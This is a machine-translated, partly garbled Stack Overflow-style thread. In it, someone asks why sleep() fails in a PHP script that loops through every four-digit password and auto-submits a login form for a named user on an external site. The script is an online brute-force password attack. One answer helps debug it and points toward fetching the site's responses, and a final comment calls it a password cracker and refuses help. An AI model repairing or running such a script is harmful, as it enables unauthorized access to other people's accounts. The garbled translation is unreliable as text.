在PHP-sleep()中&;usleep();不';我不能正常工作。此外,使用循环登录时遇到问题

在PHP-sleep()中&;usleep();不';我不能正常工作。此外,使用循环登录时遇到问题,php,login,sleep,flush,usleep,Php,Login,Sleep,Flush,Usleep,我有两个问题。这是我的剧本 <?php echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">"; echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\"&g

我有两个问题。这是我的剧本

<?php

   echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">";
echo "<head>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />";
echo "<link href=\"/library/skin/tool_base.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<link href=\"/library/skin/default/tool.css\" type=\"text/css\" rel=\"stylesheet\" media=\"all\" />";
echo "<meta http-equiv=\"Content-Style-Type\" content=\"text/css\" />";
echo "<title>Etudes</title>";
echo "<script type=\"text/javascript\" language=\"JavaScript\" src=\"/library/js/headscripts.js\"></script>";
echo "</head>";
echo "<body>";

echo "<script type=\"text/javascript\" language=\"JavaScript\">";
echo "focus_path = [\"eid\"];";
echo "</script>";

echo "<form id=\"form\" method=\"post\" target='_blank' action=\"www.xxxxx.com" enctype=\"application/x-www-form-urlencoded\">";
echo "<table border=\"0\" class=\"loginform\" summary=\"layout\">";         
echo "<label for=\"eid\">User id</label>";                                      
echo "<input name=\"eid\" id=\"eid\"  type=\"text\" value=\"USERNAME\"/>";                                      
echo "<label for=\"pw\">Password</label>";

$pass1 = "0";
$pass2 = "0";
$pass3 = "0";
$pass4 = "0";

set_time_limit(0);

for($i = 0; $i < 2; $i++)
{
$pass = $pass1.$pass2.$pass3.$pass4;

echo "$pass";

echo "<input name=\"pw\" id=\"pw\"  type=\"password\" value=\"$pass\"/>";

echo "<script language=\"Javascript\" type=\"text/javascript\">";

echo "document.forms[\"form\"].submit();";

echo "</script>";

   $pass4 = $pass4 + 1; 

if($pass4 == 10)
{
    $pass3 = $pass3 + 1;
    $pass4 = 0;
}
if($pass3 == 10)
{
    $pass2 = $pass2 + 1;
    $pass3 = 0;
}
if($pass2 == 10)
{   
    $pass1 = $pass1 + 1;
    $pass2 = 0;
}
if($pass1 == 10)
{
    echo "Fail";
    break;
}
  usleep(10000000);
  flush();
  ob_flush;
}

?>                      
</table>                        
</form>                 

</table>

</body>
</html>

//////////////////////////////////////strong>

问题1)我试过usleep()和sleep(),它一开始工作了几次,执行了 文件,然后延迟时间,然后执行,然后延迟,等等。但第三次之后,它就不起作用了

问题2)如果我不使用循环登录“www.xxx.com”,它工作正常,但当我将其放入循环时, e、 g(假设密码为0002): 登录:用户名 密码:0000

无效登录

登录:用户名 密码:0001

无效登录

登录:用户名 密码:0002

无效登录

…仍然给我一个无效的登录!任何帮助都将不胜感激:)谢谢。

问题1)我认为您正在达到最大执行时间,这是PHP对脚本施加的可配置限制。PHP脚本通常不是长寿命的程序。它们可以快速执行,一个页面视图,一个脚本,因此作为一种安全措施(防止拒绝服务攻击),寿命超过(比如)60秒的脚本只需中止即可。检查php.ini中的配置值

问题2)您是否注释掉了脚本的“提交”部分并检查了输出? 我认为您的程序只打印表单的开头一次,然后尝试打印表单的其余部分9999次。此外,它只会在第一次使用,因为如果您提交表单,浏览器只会离开您的页面(和脚本),而无法再次提交


你应该使用它从外部站点获取响应。

你不是刚问了这个问题,然后删除了它吗?“有点”,糟糕的编辑lol。这不是编写密码破解程序的可行方法。不,我们不会帮你写的。